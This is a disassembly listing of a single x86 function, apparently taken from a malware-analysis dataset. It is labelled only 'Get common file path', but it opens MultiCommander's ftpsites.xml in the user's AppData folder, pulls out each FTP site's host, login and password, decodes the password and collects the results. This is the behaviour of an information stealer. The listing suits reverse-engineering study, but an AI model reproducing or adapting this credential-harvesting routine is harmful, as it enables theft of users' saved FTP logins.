Function at 0x42380b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x42e8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0xc00]
push esi
push edi
push 0xb
mov dword [ebp - 0x42e4], ecx
lea edi, [ebp - 0xc2c]
pop ecx
push 0x3bc
mov esi, str.MultiCommanderUserDataFS_FTP_ftpsites.xml
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x4238bc
lea eax, [ebp - 0x1bcc]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x423892
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
lea eax, [ebp - 0xc2c]
mov edi, 0x3e8
push eax
lea eax, [ebp - 0x1bcc]
push eax
push 0x6c643c
lea eax, [ebp - 0x1014]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
jmp 0x4238d2
push ebx
mov edi, 0x3e8
lea eax, [ebp - 0x1014]
push edi
push eax
call fcn.006494f3
add esp, 0xc
and dword [ebp - 0x42e0], 0
lea eax, [ebp - 0x1014]
push 0x6c63d0
push eax
lea eax, [ebp - 0x42e0]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x42387f
cmp dword [ebp - 0x42e0], eax
je 0x42387f
jmp 0x4239a4
lea eax, [ebp - 0x42dc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x42393b
lea eax, [ebp - 0x42dc]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x1388
jae 0x423be1
mov byte [ebp + eax - 0x42dc], 0
lea eax, [ebp - 0x42dc]
push eax
lea eax, [ebp - 0x2f54]
push 0x1388
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x2f54]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x2f54]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x2f54]
push str.__ftpsites_
push eax
call fcn.00639500
add esp, 0x10
test eax, eax
jne 0x423bcd
lea eax, [ebp - 0x2f54]
push str.__site_
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x4239ab
xor esi, esi
jmp 0x423bab
mov eax, esi
sub eax, 0
je 0x423b7c
sub eax, 1
je 0x423b15
sub eax, 1
je 0x423aa6
sub eax, 1
jne 0x423bab
push str.alue
push str.word_v
push str._pass
push 0x6c7028
lea eax, [ebp - 0x74]
push 0x64
push eax
call fcn.00402e0a
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x2f54]
push eax
call fcn.00639500
mov ebx, eax
add esp, 0x20
test ebx, ebx
je 0x423bab
lea eax, [ebp - 0x74]
push eax
call fcn.00643470
lea edx, [ebp - 0x2f54]
lea esi, [ebp - 0x42dc]
sub esi, edx
pop ecx
add esi, ebx
add esi, eax
push 0x22
push esi
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x423a3a
mov byte [eax], 0
push esi
lea eax, [ebp - 0x13fc]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x13fc]
call fcn.004046b4
push ecx
lea edx, [ebp - 0x17e4]
lea ecx, [ebp - 0x13fc]
call fcn.0042369d
pop ecx
test eax, eax
je 0x4239a4
mov ecx, dword [ebp - 0x42e4]
lea eax, [ebp - 0x17e4]
push 0xffffffffffffffff
mov ebx, 0x6c5bb9
push ebx
push eax
lea eax, [ebp - 0x844]
push eax
lea eax, [ebp - 0x45c]
push eax
push ebx
push 0x143
push 4
call fcn.0043ee6b
jmp 0x4239a4
lea eax, [ebp - 0x2f54]
push str._login_value
push eax
call fcn.00639500
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x423bab
push str._login_value
call fcn.00643470
lea edx, [ebp - 0x2f54]
lea esi, [ebp - 0x42dc]
sub esi, edx
pop ecx
add esi, ebx
add esi, eax
push 0x22
push esi
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x423af1
mov byte [eax], 0
push esi
lea eax, [ebp - 0x844]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x844]
call fcn.004046b4
push 3
pop esi
jmp 0x423bab
lea eax, [ebp - 0x2f54]
push str._host_value
push eax
call fcn.00639500
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x423bab
push str._host_value
call fcn.00643470
lea edx, [ebp - 0x2f54]
lea esi, [ebp - 0x42dc]
sub esi, edx
pop ecx
add esi, ebx
add esi, eax
push 0x22
push esi
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x423b5c
mov byte [eax], 0
push esi
lea eax, [ebp - 0x45c]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x45c]
call fcn.004046b4
push 2
jmp 0x423b0f
lea eax, [ebp - 0x2f54]
push str._site_
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x423bab
xor esi, esi
mov byte [ebp - 0x45c], 0
mov byte [ebp - 0x844], 0
inc esi
mov byte [ebp - 0x17e4], 0
push dword [ebp - 0x42e0]
lea eax, [ebp - 0x42dc]
push 0x1388
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x423909
push dword [ebp - 0x42e0]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x423881
call fcn.00612782
int3